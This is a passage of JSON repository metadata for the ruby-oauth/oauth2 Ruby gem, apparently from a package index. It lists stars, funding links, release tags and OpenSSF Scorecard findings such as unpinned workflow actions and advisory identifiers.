(OIDC)","archived":false,"fork":false,"pushed_at":"2026-08-12T19:18:14.000Z","size":3905,"stargazers_count":2179,"open_issues_count":6,"forks_count":628,"subscribers_count":35,"default_branch":"main","last_synced_at":"2026-08-14T22:37:40.136Z","etag":null,"topics":["authentication","authorization","oauth2","oauth2-client","oidc","oidc-client","security"],"latest_commit_sha":null,"homepage":"https://oauth2.galtzo.com/","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jedi4ever/veewee","license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ruby-oauth.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":"THREAT_MODEL.md","audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"buy_me_a_coffee":"pboling","community_bridge":null,"github":["pboling"],"issuehunt":"pboling","ko_fi":"pboling","liberapay":"pboling","open_collective":"ruby-oauth","patreon":"galtzo","polar":"pboling","thanks_dev":"u/gh/pboling","tidelift":"rubygems/oauth2"}},"created_at":"2010-04-22T05:17:38.000Z","updated_at":"2026-08-13T22:52:38.000Z","dependencies_parsed_at":"2026-08-14T22:37:44.532Z","dependency_job_id":"fd1f0e16-137d-45b5-b1fa-238bf3f706a4","html_url":"https://github.com/ruby-oauth/oauth2","commit_stats":{"total_commits":953,"total_committers":140,"mean_commits":6.807142857142857,"dds":0.70199370409234,"last_synced_commit":"1ae029a963ffa4d0e5daeea83206c38a5b883f0c"},"previous_names":["intridea/oauth2","ruby-oauth/oauth2"],"tags_count":81,"template":false,"template_full_name":null,"purl":"pkg:github/ruby-oauth/oauth2","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/sbom","scorecard":{"id":1246165,"data":{"date":"2026-04-17T12:15:33Z","repo":{"name":"github.com/ruby-oauth/oauth2","commit":"ab1ad163ba61674b6b40d4efd5d9462372ea44f0"},"scorecard":{"version":"v5.3.0","commit":"c22063e786c11f9dd714d777a687ff7c4599b600"},"score":5.8,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/7 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#code-review"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dependency-update-tool"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ancient.yml:64: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ancient.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/auto-assign.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/auto-assign.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/caboose.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/caboose.yml:91: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/coverage.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/current.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/current.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/heads.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/heads.yml:72: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/jruby.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/jruby.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/legacy.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/legacy.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/license-eye.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/license-eye.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/macos.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/macos.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/opencollective.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/opencollective.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/style.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/style.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/supported.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/supported.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unsupported.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unsupported.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/windows.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Info:   2 out of  25 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  24 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/ancient.yml:4","Warn: no topLevel permission defined: .github/workflows/auto-assign.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/caboose.yml:5","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/coverage.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/current.yml:5","Info: topLevel 'contents' permission set to 'read': .github/workflows/dep-heads.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/dependency-review.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/heads.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/jruby.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/legacy.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/license-eye.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/locked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/macos.yml:5","Warn: topLevel 'contents' permission set to 'write': .github/workflows/opencollective.yml:10","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard-analysis.yml:12","Info: topLevel 'contents' permission set to 'read': .github/workflows/style.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/supported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/unlocked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/unsupported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/windows.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":0,"reason":"16 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-h27x-rffw-24p4","Warn: Project is vulnerable to: GHSA-3m6g-2423-7cp3","Warn: Project is vulnerable to: GHSA-7mqq-6cf9-v2qp","Warn: Project is vulnerable to: GHSA-8vqr-qjwx-82mw","Warn: Project is vulnerable to: GHSA-g2pf-xv49-m2h5","Warn: Project is vulnerable to: GHSA-h2jq-g4cq-5ppq","Warn: Project is vulnerable to: GHSA-q2ww-5357-x388","Warn: Project is vulnerable to: GHSA-q4qf-9j86-f5mh","Warn: Project is vulnerable to: GHSA-qfgr-crr9-7r49","Warn: Project is vulnerable to: GHSA-qv7j-4883-hwh7","Warn: Project is vulnerable to: GHSA-rx22-g9mx-qrhv","Warn: Project is vulnerable to: GHSA-v569-hp3g-36wr","Warn: Project is vulnerable to: GHSA-v6x5-cg8r-vv6x","Warn: Project is vulnerable to: GHSA-vgpv-f759-9wx3","Warn: Project is vulnerable to: GHSA-x8cg-fq8g-mxfx","Warn: Project is vulnerable to: GHSA-g857-hhfv-j68w"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 28 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#sast"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":4,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Info: 'up-to-date branches' is required to merge on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":10,"reason":"14 out of 14 merged PRs checked by a CI test -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 55 contributing companies or organizations","details":["Info: found contributions from: 9thbit, Dynamoid, Maffiaco, RubiesOnDaCloud, acquaintable, appraisal-rb, bluepill-rb, buildkite, bundler, carlhuda, charlotte-ruby, codeforamerica, contriboss, deliany.co, erikhuda, eyecue lab, floss-funding, galtzo-floss, ganser.consulting gmbh, gitlabhq, hackforchange, herimedia, historical-restoration, hivetechlabs, idcon, intridea, kettle-rb, lostisland, national-progressive-party, nyc-ruby-meetup, oauthjp, octo technology, october-surprise, octokit, omniauth, openid, openid-foundation, openid-foundation-japan, opentransact, phobos, resque, rubocop-hq, rubocop-lts, ruby-oauth, ruby-openid, rubygems, sounddrop, syndicated-media, tokium, tweetstream, volvo-cars, wordtreefoundation, yapert, yauth.jp, zendesk"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#contributors"}}]},"last_synced_at":"2026-04-17T14:22:27.014Z","repository_id":878990,"created_at":"2026-04-17T14:22:27.014Z","updated_at":"2026-04-17T14:22:27.014Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36680764,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-15T02:00:05.847Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ruby-oauth","name":"Ruby OAuth","uuid":"40009","kind":"organization","description":"🔐 Ruby Gems for building with OAuth v1.0a, 2.0, 2.1 and OIDC","email":"floss@galtzo.com","website":"https://opencollective.com/ruby-oauth","location":"United States of America","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/40009?v=4","repositories_count":7,"last_synced_at":"2026-05-07T06:40:05.814Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ruby-oauth","funding_links":[],"total_stars":2922,"followers":22,"following":0,"created_at":"2022-11-02T16:17:23.129Z","updated_at":"2026-05-07T06:40:05.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth/repositories"},"tags":[{"name":"v2.0.25","sha":"63727352546eaef035769bf2773ffae658caf6d8","kind":"tag","published_at":"2026-07-15T00:58:06.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.25","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.25/manifests"},{"name":"v2.0.24","sha":"4f239dc103d1dc77428cebc9f56f5aea5b20bfdd","kind":"tag","published_at":"2026-06-18T19:03:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.24","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.24/manifests"},{"name":"v2.0.23","sha":"af442930ffe9305ed6b4eb1fa30d3c14702c55d8","kind":"tag","published_at":"2026-06-13T11:29:00.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.23","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.23/manifests"},{"name":"v2.0.22","sha":"551f434a81912763fb5a8e240cd00a6532e26970","kind":"tag","published_at":"2026-06-07T07:13:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.22","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.22/manifests"},{"name":"v2.0.21","sha":"3f4154985fc0ab9b2b3fd0b085fa132fdc8bd8b4","kind":"tag","published_at":"2026-06-07T03:51:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.21","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.21/manifests"},{"name":"v2.0.20","sha":"e2d509705db6091c8d5f27c31e29c58e39e51c7c","kind":"tag","published_at":"2026-05-21T00:33:43.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.20","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.20/manifests"},{"name":"v2.0.19","sha":"63fddbe046e3ab813b6389aa07985f7a99bf01db","kind":"tag","published_at":"2026-05-16T07:14:58.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.19","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.19/manifests"},{"name":"v2.0.18","sha":"b5753116121553d56937039dafc5ea472d9a99ed","kind":"tag","published_at":"2025-11-08T11:51:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.18","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.18/manifests"},{"name":"v2.0.17","sha":"061ec4abe11e9142ab4f4f18743019ac828eb4b3","kind":"tag","published_at":"2025-09-16T03:42:11.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.17","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.17/manifests"},{"name":"v2.0.16","sha":"b517202966275fda6097ec077ed2684327df43d0","kind":"tag","published_at":"2025-09-14T21:14:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.16","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.16/manifests"},{"name":"v2.0.15","sha":"cb2965b48205464f3a75669caf6a2a1658506eb4","kind":"tag","published_at":"2025-09-08T08:37:46.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.15","html_url":"https://github.com/ruby-oauth/oau